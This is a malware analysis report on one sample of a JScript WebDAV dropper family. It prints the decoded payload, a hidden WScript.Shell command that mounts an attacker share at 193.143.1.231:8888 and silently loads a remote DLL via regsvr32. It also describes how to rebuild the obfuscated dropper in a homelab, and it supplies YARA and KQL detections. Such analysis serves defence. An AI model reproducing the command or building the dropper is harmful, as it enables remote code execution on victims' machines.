unclassified-js-webdav-dropper: 77e8e3b2 — 53-variable sequential reassignment, fijnx variant, direct regsvr32 on 193.143.1.231

Executive Summary

A pure-JScript WebDAV dropper using 53-variable sequential reassignment obfuscation (last-wins semantics) with a distinctive fijnx() function wrapper. Decodes to a direct WScript.Shell.run() chain — no PowerShell wrapper, no wordpad decoy, no timeout gate. Mounts 193.143.1.231:8888 via net use and silently registers 272191646614720.dll via regsvr32 /s. Ninety-second confirmed sibling in the unclassified-js-webdav-dropper family; third observed on this C2 endpoint.

What It Is

• File: 2549924775187607274.js, 110,551 bytes ^[sample 77e8e3b2/file.txt]
• Type: ASCII text, single line, 65,536-char lines, no line terminators ^[sample 77e8e3b2/file.txt]
• Language: JScript (Windows Script Host)
• Family: unclassified-js-webdav-dropper — confirmed by shared C2 subnet (193.143.1.231:8888) and identical execution chain ^[entities/unclassified-js-webdav-dropper.md]

How It Works

Obfuscation: two-layer sequential reassignment

Layer 1 — 53 unique variable names (e.g. ragkjv, mrereq, ykiwse, jgjif) are each reassigned multiple times via varname="c"; statements. Only the final value matters at runtime. The assignments span the entire 110 KB file. ^[sample 77e8e3b2/strings.txt:1]

Layer 2 — The fijnx() function concatenates these variables to build a JS string that is passed to this[eval](...). The eval'd string itself contains further variable concatenations that resolve to this['WScript']['CreateObject']('WScript.Shell')['run'](...). ^[sample 77e8e3b2/strings.txt:1]

Execution chain

Decoded payload (verified via manual de-obfuscation):

this['WScript']['CreateObject']('WScript.Shell')['run'](
  'cmd /c cmd /c net use \\193.143.1.231@8888\DavWWWRoot\&&' +
  'cmd /c regsvr32 /s \\193.143.1.231@8888\DavWWWRoot\272191646614720.dll',
  0, false
);

• net use mounts the attacker WebDAV share
• regsvr32 /s silently loads the remote DLL
• Window hidden (0, false)
• No PowerShell -EncodedCommand wrapper, no wordpad decoy, no timeout gate

Comparison to prior siblings

The fijnx() wrapper is new — prior sequential-reassignment siblings used anonymous or inline dispatch.

C2 Infrastructure

Interesting Tidbits

• The fijnx function name appears nowhere else in the 91 prior siblings — a minor author fingerprint. ^[entities/unclassified-js-webdav-dropper.md]
• File is delivered as a numeric .js filename (2549924775187607274.js), consistent with the family's numeric-naming convention. ^[sample 77e8e3b2/triage.json]
• No anti-analysis: no debugger checks, no VM detection, no connectivity test, no LCID gate. The family rarely employs sandbox evasion. ^[entities/unclassified-js-webdav-dropper.md]
• The backslash character in UNC paths is encoded via variable qbzgs, which is assigned '\\' (JS escaped backslash) as its final value. ^[sample 77e8e3b2/strings.txt:1]

How To Mess With It (Homelab Replication)

1. Create a local WebDAV server: wsgidav --host=0.0.0.0 --port=8888 --root=/tmp/webdav --auth=anonymous
2. Place a benign test DLL at /tmp/webdav/272191646614720.dll
3. Build the obfuscated dropper by splitting a command string into 53 variables with sequential reassignment, wrapping in function fijnx(){this[eval](...)}, and ending with fijnx();
4. Run on Windows VM via wscript.exe 2549924775187607274.js
5. Verify in Process Monitor: wscript.exe → cmd.exe → net.exe → regsvr32.exe loading DLL from UNC

Deployable Signatures

YARA rule

rule JScript_WebDAV_Dropper_Sequential_Reassignment
{
    meta:
        description = "JScript WebDAV dropper with sequential variable reassignment + eval"
        author = "pp-hermes"
        family = "unclassified-js-webdav-dropper"
        sha256 = "77e8e3b2a90c59ad8f792c9d306ebfc97036eab9b56b8297d96de44432d5a1a9"

    strings:
        $func = /function [a-z]{3,10}\(\)\{this\[[a-z]+\+[a-z]+\+[a-z]+\+[a-z]+\]/
        $eval_suffix = /fijnx\(\);/
        $wscript_create = "WScript" nocase
        $davwwwroot = "DavWWWRoot" nocase
        $regsvr32 = "regsvr32" nocase

    condition:
        filesize < 200KB and
        #func >= 1 and
        all of ($wscript_create, $davwwwroot, $regsvr32)
}

Behavioral hunt query (KQL)

ProcessCreate
| where ParentImagePath endswith "wscript.exe" or ParentImagePath endswith "cscript.exe"
| where CommandLine contains "net use" and CommandLine contains "DavWWWRoot"
| where CommandLine contains "regsvr32"
| summarize count() by ComputerName, CommandLine, TimeGenerated

IOC list

Detection Signatures

References

• unclassified-js-webdav-dropper — family entity page
• jscript-sequential-variable-reassignment-eval — obfuscation technique
• webdav-regsvr32-dll-sideloading — execution technique
• fd437971 analysis report — first sibling on 193.143.1.231:8888 ^[/intel/analyses/fd4379716372c8a310cd664a0401a08aa5d40f94e66b381fd8aacfc29b6efb7a.html]
• be448b37 analysis report — second sibling on 193.143.1.231:8888 ^[/intel/analyses/be448b375bed8d627601b42d6b1f1d0de59f4ff1e09ab17a3a1abd2a51af1183.html]

Provenance

• file.txt — file utility (file type) ^[sample 77e8e3b2/file.txt]
• triage.json — triage pipeline metadata ^[sample 77e8e3b2/triage.json]
• strings.txt — raw strings (single line, full file) ^[sample 77e8e3b2/strings.txt]
• dynamic-analysis.md — CAPE skipped (script file, unsupported binary class) ^[sample 77e8e3b2/dynamic-analysis.md]
• Decoded command verified via custom Python de-obfuscator run 2026-07-23 on pp-hermes.